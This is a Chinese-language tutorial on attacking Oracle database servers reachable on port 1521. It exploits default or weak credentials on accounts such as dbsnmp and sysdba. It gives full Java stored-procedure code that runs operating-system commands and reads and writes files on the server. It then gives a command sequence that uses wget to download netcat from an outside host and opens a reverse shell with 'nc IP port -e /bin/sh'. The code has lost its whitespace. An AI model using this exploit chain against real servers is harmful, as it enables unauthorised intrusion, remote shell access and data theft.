很多时候对于开放1521端口的Windows下Oracle数据库服务器,因为大多存在默认低权限用户dbsnmp,或者人品爆发高权限的用户(sysdba)是默认密码或弱口令,由此可以通过Oracle的一些提权漏洞获取Oracle的最高权限,直至得到系统的SYSTEM权限。 
而对于Linux下的Oracle数据库入侵,因为Linux下一般Oracle数据库都是以Oracle的独立用户在跑,所以无法获取到root权限。当然很多WEB和数据库在同一服务器上的时候,可以导出WEBSHELL到WEB目录来获取权限。然而大部分的数据库都是独立跑在一个服务器上,以下用简单的方式获取Oracle的shell,即采用nc反弹的shell的方式。 
1、Oracle数据库支持JAVA(如Windows下入侵一般) 
2、通过Oracle客户端sqlplus,以sysdba用户登录(dbsnmp用户可提权至sysdba) 
3、执行以下代码: 
 
CODE_1: 
java 
 
createorreplaceandresolvejavasourcenamed"oraexec"as 
 
importjava.lang.*; 
 
importjava.io.*; 
 
publicclassoraexec 
 
{ 
 
/* 
 
*Commandexecutionmodule 
 
*/ 
 
publicstaticvoidexecCommand(Stringcommand)throwsIOException 
 
{ 
 
Runtime.getRuntime().exec(command); 
 
} 
 
 
 
/* 
 
*Filereadingmodule 
 
*/ 
 
publicstaticvoidreadFile(Stringfilename)throwsIOException 
 
{ 
 
FileReaderf=newFileReader(filename); 
 
BufferedReaderfr=newBufferedReader(f); 
 
Stringtext=fr.readLine(); 
 
while(text!=null){ 
 
System.out.println(text); 
 
text=fr.readLine(); 
 
} 
 
fr.close(); 
 
} 
 
 
 
/* 
 
*Filewritingmodule 
 
*/ 
 
publicstaticvoidwriteFile(Stringfilename,Stringline)throwsIOException 
 
{ 
 
FileWriterf=newFileWriter(filename,true);/*append*/ 
 
BufferedWriterfw=newBufferedWriter(f); 
 
fw.write(line); 
 
fw.write("\n"); 
 
fw.close(); 
 
} 
 
} 
 
============================================ 
CODE_2: 
--usage:execjavacmd('command'); 
 
createorreplaceprocedurejavacmd(p_commandvarchar2)as 
 
languagejava 
 
name'oraexec.execCommand(java.lang.String)';=========================================== 
CODE_3: 
--usage:execdbms_java.set_output(2000); 
 
--setserveroutputon; 
 
--execjavareadfile('/path/to/file'); 
 
createorreplaceprocedurejavareadfile(p_filenameinvarchar2)as 
 
languagejava 
 
name'oraexec.readFile(java.lang.String)';============================================ 
CODE_4: 
--usage:execjavawritefile('/path/to/file','linetoappend'); 
 
createorreplaceprocedurejavawritefile(p_filenameinvarchar2,p_lineinvarchar2)aslanguagejava 
 
name'oraexec.writeFile(java.lang.String,java.lang.String)';4、 
execjavawritefile('/tmp/getnc','wgethttp://www/nc-O/tmp/nc');//写入wgetnc命令到文件getnc 
execdbms_java.set_output(2000);//设置javareadfile 
setserveroutputon; 
execjavareadfile('/tmp/getnc');//读取文件查看是否写入成功 
execjavacmd('/bin/sh/tmp/getnc');//执行命令下载nc 
execjavareadfile('/tmp/nc');//查看nc是否下载成功 
execjavawritefile('/tmp/shell','/tmp/ncIPport-e/bin/sh');//写入反弹命令 
execjavareadfile('/tmp/shell');//读取文件查看是否写入成功 
execjavacmd('/bin/sh/tmp/shell');//执行nc反弹shell,在本地nc监听就能得到shell,如果不行,请确认防火墙 
  
* 
* |